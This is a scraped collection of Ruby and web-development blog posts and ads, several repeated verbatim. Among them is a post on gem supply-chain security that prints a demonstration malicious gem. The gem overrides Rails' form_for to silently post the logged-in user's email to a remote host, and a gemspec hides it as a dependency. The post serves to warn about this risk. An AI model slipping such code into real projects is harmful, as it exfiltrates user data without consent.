Now in print: Modern C++ Programming with Test-Driven Development: Code Better, Sleep Better

Modern C++ Programming with Test-Driven Development: Code Better, Sleep Better no in print and shipping.

Compete to win the Salesforce $1 Million Hackathon

How would you like to win $1 million in a hackathon? Seriously.

As you know, Heroku is part of the Salesforce Platform. A platform with a growing developer community and broad range of technologies that developers have used to create amazing solutions. So at Salesforce, we thought we’d cook up a little surprise. OK, a huge surprise: the world’s first hackathon with a single $1 million prize.

It’s on. Come to Dreamforce. Build a next­ generation mobile app. And win a million bucks. Really. What better way to say thank you to our developers than to put on the biggest on­site hackathon in history. Today, we are thrilled to launch the Salesforce $1 Million Hackathon!

Here's how to get started:

  1. Read the rules, eligibility and details.

  2. Pack up your team and register for Dreamforce. Either a full Dreamforce pass or the $99 Dreamforce Developer Hack Pass to get you into just the Opening Keynote, DevZone and Cloud Expo for DreamHack.

  3. Start coding. Your choice of technologies is huge – Heroku, Force.com, ExactTarget, Salesforce Platform Mobile Services, and more.

Be creative, innovative, unique – the winning team is walking away on Thursday, Nov 21st with $1,000,000!

Also, be sure to check out the the DevZone while you're there – for workshops, labs, mobile theaters, vendors and partners, and more than 200 developer sessions.

Get all of Next Year’s Books; 3D Game Programming for Kids now in print

Win all of 2014’s Books; 3D Game Programming for Kids now in print

How Branch Uses Heroku

Editor's Note: This is a guest post from Hursh Agrawal, co-founder of Branch.

At Branch, we’ve been through several feature launches on Branch.com and, more recently, several more on our new site, Potluck. Although it becomes easier, building high-quality, high-traffic web applications still isn’t easy. Here are a few things we’ve learned about hosting our apps on Heroku that have helped keep our latency down and our confidence up.

Building on Heroku

One thing that has been consistently helpful is not hosting services ourselves. Heroku provides a pretty extensive Add-on Marketplace you can use to get most services you’d need up and running in a matter of minutes.

At Branch, we use Redis pretty extensively both for caching and for all the feeds across our sites. We started off by running our own Redis server on EC2, but after a few months of constantly worrying about what we’d do for failover and how best to persist our Redis data, we decided to switch to using OpenRedis. Since then, we focused on building great social apps instead of getting into the business of hosting databases. It gives us one less thing to worry about as we’re trying to iterate on our product. (There is a caveat to this — it’s sometimes difficult to find well-priced, easy to use, and reliable third-party providers for certain technologies. When looking for a new service, we usually scour the Heroku Add-ons page and try out each vendor on a free plan before deciding which to go with.)

For us, the biggest advantage of using SaaSs for various services has been having access to customer support. When we hosted our own Redis or Postgres boxs, we had nobody we could call up and nag about how best to use the software or how to fix obscure bugs. When you’re paying for service, you also get consultants (within reason) for free. This has been enormously helpful when facing weird bugs or just wanting advice on how best to optimize our setup.

Heroku Postgres

Along with Redis and Elasticsearch, our main persistence mechanism at Branch is Postgres. We love Postgres, and Heroku’s Postgres service has been phenomenal at both keeping our boxes up and running well, and at providing features and advice to allow us to do our jobs as well as possible.

When building a webapp with any complexity, you quickly realize that architecting the DB correctly becomes important in the fight against slow response times. A few tools have been really helpful to us when lowering our Postgres usage and query times.

Using the slow query log — You can access your PG logs from the command line with

heroku logs —tail —ps postgres —app APP_NAME

I still haven’t gotten it to give me historical data, but it shows slow queries that are happening right now. Leave the window open for a few minutes on any Postgres instance with moderate to high traffic and you’ll start to see slow queries show up. This is great for figuring out what’s unindexed or just plain gnarly.

Dataclips — Dataclips are SQL queries you can save and pull up anytime via the Heroku Postgres web GUI. These are great for diagnostic queries like queries to Postgres’s inbuilt pg_stat_user_tables table. One we use pretty often is


select relname as "table",
seq_scan as "non-index lookups",
seq_tup_read as "tuples scanned",
idx_scan as "index lookups",
idx_tup_fetch as "tuples scanned via index"
from pg_stat_user_tables;

This shows how many index scans vs non-index scans Postgres is doing on each table and how bad those table scans are (by showing how much data Postgres has to scan through to fulfill those non-indexed queries). This is great for diagnosing which tables are getting hit most often with complex queries or don’t have indexes.

pg-extras — Heroku also has a CLI interface for getting diagnostic data out of your Postgres instance here. This is great for figuring out your cache and index hit rate (both of which ideally should be above 0.99), index sizes, and other info for tuning Postgres instance.

Launching with Heroku

After so many launches, we’ve also learned a lot about how to stay calm and get through a launch successfully. You can find some of our more general learnings here, but a lot of what we’ve learned about using Heroku has been around simplicity and not over-optimizing.

During our first Branch.com launch, we obsessed over having the right amount of dynos up for any situation. We implemented an auto-scaling dyno algorithm to make sure we’d never be caught with our pants down. This turned out to be a horrible idea. When some of our workers went haywire and started sending thousands of emails to a few users because of an obscure Rails bug, we couldn’t scale them down to 0 because the algorithm would just scale them back up. We had to have an engineer sit and type in heroku ps:scale worker=0 every 3 seconds (sorry, Heroku!) until someone else debugged and fixed the problem.

Now we just scale the dynos up above what we think we’ll need and leave them until we see some latency. It’s manual and not very scientific, and probably costs us a bit extra, but it’s way simpler than our other solutions, and trying to optimize this just wasn’t worth complexity.

Likewise, we used to fixate on analytics. We use New Relic for measuring app latency, and it’s been fantastic for when we need to troubleshoot issues or figure out where a user’s time is going. After each of our launches, we generally saw latency spikes as portions of the app are tested with actual load.

One of the worst things we did on our first launch, though, is to keep the latency graph up for everyone to see all day. It caused a lot of stress and, as random latency spikes showed up now and then, a lot of our time and energy went into watching and worrying about the graphs instead of fixing bugs and pushing out new features. Intermittent latency spikes are inevitable in new applications, and often, the time spent fixing them can be spent fixing other, more pressing issues.

Heroku has been fantastic for building and launching apps quickly and relatively painlessly. Learning about and using all the features Heroku and Heroku Postgres provide has been great for our productivity and has been invaluable in keeping our turnaround time low and keeping us shipping fast.

Ruby Programming 47th Batch: Registrations are now open

Registrations are now open for RubyLearning’s popular Ruby programming course. This is an intensive, online course for beginners that helps you get started with Ruby programming. The course starts on Saturday, 26th Oct. 2013 and runs for seven weeks

Course Fee

Please create a new account first and then pay US$ 49.95 (for the first 10 participants, after which the course fee will be US$ 69.95) by clicking on the PayPal button Paypal


Download ‘Advice for Ruby Beginners’ as a .zip file.

Here is what Sandra Randall (Butler), a participant who just graduated, has to say – “You kindly offered me the opportunity to join your Ruby course. I’m new to development and found the course, even though basic for programmers, a little tricky for me. I managed to complete all of the assessments and really learnt a lot. Thank you very much for the opportunity. It has really given me the push I needed to learn Ruby and I’m currently treading my way through both the pickaxe and Agile Development books and enjoying it. I’ve recently been offered a position as a Junior Systems Developer at a local Software house in South Africa – all thanks to the push you gave me which gave me the motivation and drive to get going.”

What’s Ruby?

Ruby

According to http://www.ruby-lang.org/en/ – “Ruby is a dynamic, open source programming language with a focus on simplicity and productivity. Ruby’s elegant syntax is natural to read and easy to write.”

Yukihiro Matsumoto, the creator of Ruby, in an interview says –

I believe people want to express themselves when they program. They don’t want to fight with the language. Programming languages must feel natural to programmers. I tried to make people enjoy programming and concentrate on the fun and creative part of programming when they use Ruby.

What Will I Learn?

In the Ruby programming course, you will learn the essential features of Ruby that you will end up using every day. You will also be introduced to Git, GitHub, HTTP concepts, RubyGems, Rack and Heroku.

Some Highlights

RubyLearning’s IRC Channel

Some of the mentors and students hang out at RubyLearning’s IRC (irc.freenode.net) channel (#rubylearning.org) for both technical and non-technical discussions. Everyone benefits with the active discussions on Ruby with the mentors.

Google Hangouts

There is a Hangout Event that is open for students, for drop-in hangouts where students can pair program with mentors or with each other. This is often where you can get help with your system, editor, and general environment. Anything that can help you with your coding environment that you are having problems with are usually discussed interactively here.

Git Repositories

Shared (private) repositories available for those that want to learn git and the revision controlled programming workflow. This allows students that want to collaborate while learning. This is a great way to record your progress while learning Ruby.

eBook

The course is based on the The Ultimate Guide to Ruby Programming eBook. This book is priced at US$ 9.95. However, the Kindle edition of the eBook is available for US$ 6.

Challenges and Side Tracks

This is course material not found in the RubyLearning Study Notes nor in the E-Book! Depending on participation levels, we throw a Ruby coding challenge in the mix, right for the level we are at. We have been known to give out a prize or two for the ‘best’ solution.

Who’s It For?

A beginner with some knowledge of programming.

You can read what past participants / online magazines have to say about the course.

Mentors

Satish Talim, Michael Kohl, Satoshi Asakawa, Victor Goff III and others from the RubyLearning team.

Dates

The course starts on Saturday, 26th Oct. 2013 and runs for seven weeks.

How do I register and pay the course fees?

  • You can pay the course fees either by Paypal or send cash via Western Union Money Transfer or by bank transfer (if you are in India). The fees collected helps RubyLearning maintain the site, this Ruby course, the Ruby eBook, and provide quality content to you.

To pay the Course Fee:

Please create a new account first and then pay US$ 49.95 (for the first 10 participants, after which the course fee will be US$ 69.95) by clicking on the PayPal button Paypal

How does the course work?

For details on how the course works, refer here.

At the end of this course you should have all the knowledge to explore the wonderful world of Ruby on your own.

Remember, the idea is to have fun learning Ruby.

Technorati Tags: , , ,


(Powered by LaunchBit)

Thinking about Ruby gems security

Installing a gem allows that gem’s code to run in the context of your application. Clearly this has security implications: installing a malicious gem on a server could ultimately result in that server being completely penetrated by the gem’s author. Because of this, the security of gem code is a topic of active discussion within the Ruby community.
Rubygems.org documentation

It should be obvious to everyone that when you install a gem you don’t know, never used or had a look at its source code – it could be a bad idea.

What could go wrong?

The other day I was looking for a bootstrap date picker solution and found this bootstrap-datepicker.js and comfortably, a gem that wraps this neat little script.

After installing this gem, I started thinking about how easily I believed this gem is related to the bootstrap plugin and how fast I added it Continue reading “Thinking about Ruby gems security”

Thinking about Ruby gems security

Installing a gem allows that gem’s code to run in the context of your application. Clearly this has security implications: installing a malicious gem on a server could ultimately result in that server being completely penetrated by the gem’s author. Because of this, the security of gem code is a topic of active discussion within the Ruby community.
Rubygems.org documentation

It should be obvious to everyone that when you install a gem you don’t know, never used or had a look at its source code – it could be a bad idea.

What could go wrong?

The other day I was looking for a bootstrap date picker solution and found this bootstrap-datepicker.js and comfortably, a gem that wraps this neat little script.

After installing this gem, I started thinking about how easily I believed this gem is related to the bootstrap plugin and how fast I added it to the project’s Gemfile.

What if it wasn’t doing what it is supposed to do, but just an eye catching name for a melicious code?

Introducing – bootstrap_buttons (Please, do not install this gem)

Meet bootstrap_buttons – an evil gem dressed as a pretty addon for Bootstrap. In short what this gem does as you can see here is overriding your form_for method and adds a bit of evil sauce to it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
module BootstrapButtons
  module FormGrabber

    # Patch form_for to be evil
    def form_for(record, options = {}, &block)
      steal_identity
      super
    end

    protected

    # hidden evil method that posts your session and cookies somewhere
    def steal_identity
      begin
        HTTParty.post("http://bootstrap-buttons.herokuapp.com/users.json", body: { user: {email: current_user.email}})
      rescue

      end
    end
  end
end

ActionView::Base.send :include BootstrapButtons::FormGrabber

Long story short – it will send the current logged in user’s email address to http://bootstrap-buttons.herokuapp.com and then continue to genereate your form like nothing evil happened.

How is this dangerous?

Aside from the fact that single look at this gem will reveal its true evil identity – what happens if someone installs this gem without paying attention to it? (as in, being a dependency for a bigger spoofed bootstrap bundle):

bootstrap_extensions.gemspec
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# coding: utf-8
lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'bootstrap_extensions/version'

Gem::Specification.new do |spec|
  spec.name          = "bootstrap_extensions"
  spec.version       = BootstrapExtensions::VERSION
  spec.authors       = ["I am not evil"]
  spec.email         = ["elad@no-still-not-evil.com"]
  spec.description   = "LIE - An awesome collection of bootstap addons"
  spec.summary       = "Cool gem - install it!"
  spec.homepage      = ""
  spec.license       = "MIT"

  spec.files         = `git ls-files`.split($/)
  spec.executables   = spec.files.grep(%r{^bin/}) { |f| File.basename(f) }
  spec.test_files    = spec.files.grep(%r{^(test|spec|features)/})
  spec.require_paths = ["lib"]

  spec.add_development_dependency "bundler", "~> 1.3"
  spec.add_development_dependency "rake"
  spec.add_dependency 'bootstrap-colorpicker-rails' # This is legit
  spec.add_dependency 'bootstrap-datepicker-rails'  # so as this one
  spec.add_dependency 'bootstrap_buttons'           # Holy shit this one is evil!!
end

First two add_dependency lines are cool – those are legitimate bootstrap extensions gems – wrapped as rails engines to allow easy integration in rails apps.

You see bootstrap_buttons hiding there? seems legit right? it will still post your user’s email address to the remote host.

What to do?

Well, just like in any of the other options suggested by the Ruby community to improve gem security and trust – there is no silver bullet. A blind trust is not a good thing unless you absolutely know what you are using and when it is coming from (a.k.a “your own code”).

Installing OS code into your application needs a little touch of Paranoia, there is no need to go over all the code you’ll ever add to your app – but a skim browsing over it could be a nice precaution

Few pointers

While skimming through gem could, the following flags should rise your suspicion a bit.

  1. Using HTTP interface that is not part of the gem. (You would expect an API library to use HTTP requests – but not one that is supposed to add some neat themes)
  2. If this is a Rails engine, read the javascript files. There is nothing better for an evil hacker than the ability to insert free rolling javascript in your code.
  3. Session access. Gems that access your session should be investigate more thoroughly

More on gems security

  1. The Rubygems.org piece on security
  2. A bit on the problems with Gem signing
  3. And how signing is actually being done

Win a Studio; iPad and iPhone Kung Fu; The Coding Dojo Handbook

Win a Studio; iPad and iPhone Kung Fu; The Coding Dojo Handbook

Offending gem names – drawing the line

In my “Being an asshole does not make you awesome” post I listed a few gems that caused some interesting discussions on Twitter.

Following those discussions (with the awesome Rein Henrichs and Jan Lehnardt) I felt the need to clarify most specifically what is wrong with some of the gem names. While some gem names seem completely innocent – It is important to remember a few things in mind

  1. This is a global community, always consider that the other side is not as good with the english language as you are.
  2. Being creative is by all means not a reason to dismiss groups, genders or anything else.
  3. Gem names should be descriptive and be related to what the gem or code is all about.
  4. README files don’t matter. Yes, they are important – but sometimes hearing the name is more than enough.

Drawing the line

So, where does this Continue reading “Offending gem names – drawing the line”

Offending gem names – drawing the line

In my “Being an asshole does not make you awesome” post I listed a few gems that caused some interesting discussions on Twitter.

Following those discussions (with the awesome Rein Henrichs and Jan Lehnardt) I felt the need to clarify most specifically what is wrong with some of the gem names. While some gem names seem completely innocent – It is important to remember a few things in mind

  1. This is a global community, always consider that the other side is not as good with the english language as you are.
  2. Being creative is by all means not a reason to dismiss groups, genders or anything else.
  3. Gem names should be descriptive and be related to what the gem or code is all about.
  4. README files don’t matter. Yes, they are important – but sometimes hearing the name is more than enough.

Drawing the line

So, where does this line strike? no immediate answer. Taking the “hoe” gem for example – it is a great gem that everyone uses and its name is actually a gardening tool – perfect match to the gem’s reference as a Rake (also a gardening tool) accessory.

Yes, “hoe” is a legitimate name in that case – but for people outside the world of native english speakers the immediate meaning when heard, is as a reference to a prostitue.

Again, yes – it is a legitimate name. But there are 200 other gardening tools and nouns related to “Rake” that don’t have the problem of double meaning, and in some circles – an immediate offending translation. Investing a bit more time in choosing a better name would probably be a better option that would have resolved this issue before it even existed.

Choosing the “hoe” gem for that post seemed very odd for some people but the reason behind it was not to dismiss that gem, its authors or its users, just to point out where people that don’t have the entire english gardening jargon in their minds, could probably be offended.

Under the same hood, the “Therapist” gem falls under the same fault. It is supposed to handle Github issues more easily, hence the Therapist reference. Some may read it “The Rapist” – which is not a good thing, but again I assume it is only relevant to non native speakers.

Conclusion

The purpose of that post was to put some focus on the possibly offending gem names around – and to bring the attention of the people that build, maintain and use these gems sometimes without giving the proper minimum attention required to resolve these issues. While some gem names are completely unacceptable in every aspect like “rape-me” and “bitch”, others like “hoe” just needs a little tweak – if only just to dismiss the double meaning issue.

We should be more caring to others in this community, doing open source is awesome all over, but being a valuable member of this community should also include being respectful and thoughtfull in our toolbelts.

Offending gem names – drawing the line

In my “Being an asshole does not make you awesome” post I listed a few gems that caused some interesting discussions on Twitter.

Following those discussions (with the awesome Rein Henrichs and Jan Lehnardt) I felt the need to clarify most specifically what is wrong with some of the gem names. While some gem names seem completely innocent – It is important to remember a few things in mind

  1. This is a global community, always consider that the other side is not as good with the english language as you are.
  2. Being creative is by all means not a reason to dismiss groups, genders or anything else.
  3. Gem names should be descriptive and be related to what the gem or code is all about.
  4. README files don’t matter. Yes, they are important – but sometimes hearing the name is more than enough.

Drawing the line

So, where does this line strike? no immediate answer. Taking the “hoe” gem for example – it is a great gem that everyone uses and its name is actually a gardening tool – perfect match to the gem’s reference as a Rake (also a gardening tool) accessory.

Yes, “hoe” is a legitimate name in that case – but for people outside the world of native english speakers the immediate meaning when heard, is as a reference to a prostitue.

Again, yes – it is a legitimate name. But there are 200 other gardening tools and nouns related to “Rake” that don’t have the problem of double meaning, and in some circles – an immediate offending translation. Investing a bit more time in choosing a better name would probably be a better option that would have resolved this issue before it even existed.

Choosing the “hoe” gem for that post seemed very odd for some people but the reason behind it was not to dismiss that gem, its authors or its users, just to point out where people that don’t have the entire english gardening jargon in their minds, could probably be offended.

Under the same hood, the “Therapist” gem falls under the same fault. It is supposed to handle Github issues more easily, hence the Therapist reference. Some may read it “The Rapist” – which is not a good thing, but again I assume it is only relevant to non native speakers.

Conclusion

The purpose of that post was to put some focus on the possibly offending gem names around – and to bring the attention of the people that build, maintain and use these gems sometimes without giving the proper minimum attention required to resolve these issues. While some gem names are completely unacceptable in every aspect like “rape-me” and “bitch”, others like “hoe” just needs a little tweak – if only just to dismiss the double meaning issue.

We should be more caring to others in this community, doing open source is awesome all over, but being a valuable member of this community should also include being respectful and thoughtfull in our toolbelts.

Offending gem names – drawing the line

In my “Being an asshole does not make you awesome” post I listed a few gems that caused some interesting discussions on Twitter.

Following those discussions (with the awesome Rein Henrichs and Jan Lehnardt) I felt the need to clarify most specifically what is wrong with some of the gem names. While some gem names seem completely innocent – It is important to remember a few things in mind

  1. This is a global community, always consider that the other side is not as good with the english language as you are.
  2. Being creative is by all means not a reason to dismiss groups, genders or anything else.
  3. Gem names should be descriptive and be related to what the gem or code is all about.
  4. README files don’t matter. Yes, they are important – but sometimes hearing the name is more than enough.

Drawing the line

So, where does this line strike? no immediate answer. Taking the “hoe” gem for example – it is a great gem that everyone uses and its name is actually a gardening tool – perfect match to the gem’s reference as a Rake (also a gardening tool) accessory.

Yes, “hoe” is a legitimate name in that case – but for people outside the world of native english speakers the immediate meaning when heard, is as a reference to a prostitue.

Again, yes – it is a legitimate name. But there are 200 other gardening tools and nouns related to “Rake” that don’t have the problem of double meaning, and in some circles – an immediate offending translation. Investing a bit more time in choosing a better name would probably be a better option that would have resolved this issue before it even existed.

Choosing the “hoe” gem for that post seemed very odd for some people but the reason behind it was not to dismiss that gem, its authors or its users, just to point out where people that don’t have the entire english gardening jargon in their minds, could probably be offended.

Under the same hood, the “Therapist” gem falls under the same fault. It is supposed to handle Github issues more easily, hence the Therapist reference. Some may read it “The Rapist” – which is not a good thing, but again I assume it is only relevant to non native speakers.

Conclusion

The purpose of that post was to put some focus on the possibly offending gem names around – and to bring the attention of the people that build, maintain and use these gems sometimes without giving the proper minimum attention required to resolve these issues. While some gem names are completely unacceptable in every aspect like “rape-me” and “bitch”, others like “hoe” just needs a little tweak – if only just to dismiss the double meaning issue.

We should be more caring to others in this community, doing open source is awesome all over, but being a valuable member of this community should also include being respectful and thoughtfull in our toolbelts.

No more Fiverr, Please

Due to recent events in the so called relationship between me and Fiverr.com – my recent employer, I am forced to remove and cease any connection between me
and this company including online social connentions, communications and affiliation.

I choose to do so because I am recluctant to proceed in this ongoing saga that in my belief, is aimed to dishonor the good men and women that put in a huge effort, their blood and their sweat, to make this idea come to life and to what it is today.

I wish all the Fiverr employees and the company itself a huge success in the future, i just don’t want to hear about them or know they exist ever again.

No more Fiverr, Please

Due to recent events in the so called relationship between me and Fiverr.com – my recent employer, I am forced to remove and cease any connection between me
and this company including online social connentions, communications and affiliation.

I choose to do so because I am recluctant to proceed in this ongoing saga that in my belief, is aimed to dishonor the good men and women that put in a huge effort, their blood and their sweat, to make this idea come to life and to what it is today.

I wish all the Fiverr employees and the company itself a huge success in the future, i just don’t want to hear about them or know they exist ever again.

No more Fiverr, Please

Due to recent events in the so called relationship between me and Fiverr.com – my recent employer, I am forced to remove and cease any connection between me
and this company including online social connentions, communications and affiliation.

I choose to do so because I am recluctant to proceed in this ongoing saga that in my belief, is aimed to dishonor the good men and women that put in a huge effort, their blood and their sweat, to make this idea come to life and to what it is today.

I wish all the Fiverr employees and the company itself a huge success in the future, i just don’t want to hear about them or know they exist ever again.

Win all our ebooks PLUS; The Dream Team Nightmare; Programming Erlang

Win all our ebooks PLUS; The Dream Team Nightmare; Programming Erlang in print and shipping

Being an asshole does not make you awesome

Don’t be an asshole. period.

Being an asshole comes in all different shapes and sizes, in the tech community is it usually comes in the forms of being a bully to newcomers or being abusive towards women.

The latter one seems to be bothering the Rails and Ruby community a lot less than the first one, I have seen in several occasions people coming to the help of a new comer when someone thought it was cool to bring him down and make fun of him online (#rubyonrails on irc.freenode.net) while the phenomenon of degrading women is hardly addressed as a community.

A few years ago – Matt Almonetti decided that it is a good idea to name his CouchDb and Rails presentation as “CouchDB and Ruby – Perform like a porn star” – an act that led to the initial foundation of the Railsbridge group Continue reading “Being an asshole does not make you awesome”

Being an asshole does not make you awesome

Don’t be an asshole. period.

Being an asshole comes in all different shapes and sizes, in the tech community is it usually comes in the forms of being a bully to newcomers or being abusive towards women.

The latter one seems to be bothering the Rails and Ruby community a lot less than the first one, I have seen in several occasions people coming to the help of a new comer when someone thought it was cool to bring him down and make fun of him online (#rubyonrails on irc.freenode.net) while the phenomenon of degrading women is hardly addressed as a community.

A few years ago – Matt Almonetti decided that it is a good idea to name his CouchDb and Rails presentation as “CouchDB and Ruby – Perform like a porn star” – an act that led to the initial foundation of the Railsbridge group and eventually the RailsGirls movement (which is awesome btw). This specific event was the only time someone reacted to the fact that women are generally treated differently in the Rails / Ruby world and the first time a Community wide action took place.

The no-asshole policy started to kick in, or so I thought.

Yesterday there has been a vivid discussion in Twitter regarding a case of sexual harrasement that happened during one of the Ruby conferences last year in January (I will not link names or tweets until I know what is going on for real) that lead me to think about this whole issue – what are we REALLY doing to make women feel welcome in our community.

The answer is, not much. RailsGirls are doing an awesome job in bringing women into this overall wonderful community, but it is not enough – we need to pay attention to the stuff that makes us such a great community overall to new comers and men, and make it appealing for women too.

What is missing you ask? I think that there is no consideration in women when it comes to gem naming convention, here are a few gems that i found in a 5 mintues search on Rubygems.org to demonstrate why women and other groups probably feel uncomfortable when trying to get into the Rails community:

While some of you may think this is a righteous callout – I think that as a community we need to strive to be as appealing as possible, there is nothing cool about naming your gem “fuck” or “retarded” and we as a community – need to stop this from happening as much as we can.

In my opinion there is no immediate solution, only ones that are community driven and are accepted as standard. Some of the gems i specified above have more than 20,000 downloads, that’s 20,000 people that didn’t care. it should be different.

A proper suggestion but may be a non-realistic one is that Rubygems.org will refuse to accept gem pushes that uses offensive naming conventions – while this is a harsh move – It will show that a major, if not the most important one in the Rails and Ruby world is showing that it cares making the rest of us follow by example.

An Update

Obviously, i took the liberty of linking to this post in Facebook and Twitter. Almost all of the responses I got were great from people that agree with the idea and pain behind this post…

but this guy is something else.

I posted on the Ruby group on facebook.

This guy Aaron, is the admin. Take a look at the lowest level of people you can find in this industry.

Being an asshole does not make you awesome

Don’t be an asshole. period.

Being an asshole comes in all different shapes and sizes, in the tech community is it usually comes in the forms of being a bully to newcomers or being abusive towards women.

The latter one seems to be bothering the Rails and Ruby community a lot less than the first one, I have seen in several occasions people coming to the help of a new comer when someone thought it was cool to bring him down and make fun of him online (#rubyonrails on irc.freenode.net) while the phenomenon of degrading women is hardly addressed as a community.

A few years ago – Matt Almonetti decided that it is a good idea to name his CouchDb and Rails presentation as “CouchDB and Ruby – Perform like a porn star” – an act that led to the initial foundation of the Railsbridge group and eventually the RailsGirls movement (which is awesome btw). This specific event was the only time someone reacted to the fact that women are generally treated differently in the Rails / Ruby world and the first time a Community wide action took place.

The no-asshole policy started to kick in, or so I thought.

Yesterday there has been a vivid discussion in Twitter regarding a case of sexual harrasement that happened during one of the Ruby conferences last year in January (I will not link names or tweets until I know what is going on for real) that lead me to think about this whole issue – what are we REALLY doing to make women feel welcome in our community.

The answer is, not much. RailsGirls are doing an awesome job in bringing women into this overall wonderful community, but it is not enough – we need to pay attention to the stuff that makes us such a great community overall to new comers and men, and make it appealing for women too.

What is missing you ask? I think that there is no consideration in women when it comes to gem naming convention, here are a few gems that i found in a 5 mintues search on Rubygems.org to demonstrate why women and other groups probably feel uncomfortable when trying to get into the Rails community:

While some of you may think this is a righteous callout – I think that as a community we need to strive to be as appealing as possible, there is nothing cool about naming your gem “fuck” or “retarded” and we as a community – need to stop this from happening as much as we can.

In my opinion there is no immediate solution, only ones that are community driven and are accepted as standard. Some of the gems i specified above have more than 20,000 downloads, that’s 20,000 people that didn’t care. it should be different.

A proper suggestion but may be a non-realistic one is that Rubygems.org will refuse to accept gem pushes that uses offensive naming conventions – while this is a harsh move – It will show that a major, if not the most important one in the Rails and Ruby world is showing that it cares making the rest of us follow by example.

An Update

Obviously, i took the liberty of linking to this post in Facebook and Twitter. Almost all of the responses I got were great from people that agree with the idea and pain behind this post…

but this guy is something else.

I posted on the Ruby group on facebook.

This guy Aaron, is the admin. Take a look at the lowest level of people you can find in this industry.

An Introduction to Python programming – A Free Online Course

An Introduction to Python programming – A Free Online Course

You should learn a programming language every year, as recommended by The Pragmatic Programmer. By learning a new language, you’ll broaden your perspective of programming. In 2010 we brought to you Clojure, last month we offered you Go and now we offer you a free introductory course on Python programming.

You will learn Python programming along with RubyLearning’s mentors Anders Persson, Satish Talim and Victor Goff. Registrations have already started. Are you there?

How do I register?

  • You first create an account on rubylearning.org
  • To enroll into the course, use the enrollment key PP101 We are over 200 participants and have now closed the registration process. If however you still want to join, then email me at satish [at] rubylearning.org

Course Fees

The course is completely free of cost.

What’s Python?

Python Python is an interpreted, object-oriented, high-level programming language with dynamic semantics. Its high-level built in data structures, combined with dynamic typing and dynamic binding, make it very attractive for Rapid Application Development, as well as for use as a scripting or glue language to connect existing components together. Python’s simple, easy to learn syntax emphasizes readability and therefore reduces the cost of program maintenance. Python supports modules and packages, which encourages program modularity and code reuse. The Python interpreter and the extensive standard library are available in source or binary form without charge for all major platforms, and can be freely distributed.

What Will I Learn?

In this introductory course, you will learn the essential features of Python programming that you will end up using every day.

Who’s It For?

Anyone with some programming experience in any programming language.

Dates

The course is ongoing and you can join anytime you want. Also, you can log into the course area at a time convenient to you.

Hurry, registrations have started. Remember, the idea is to have fun learning Python.

At the end of this course you should have all the knowledge to explore the wonderful world of Python on your own.

Technorati Tags: , ,


(Powered by LaunchBit)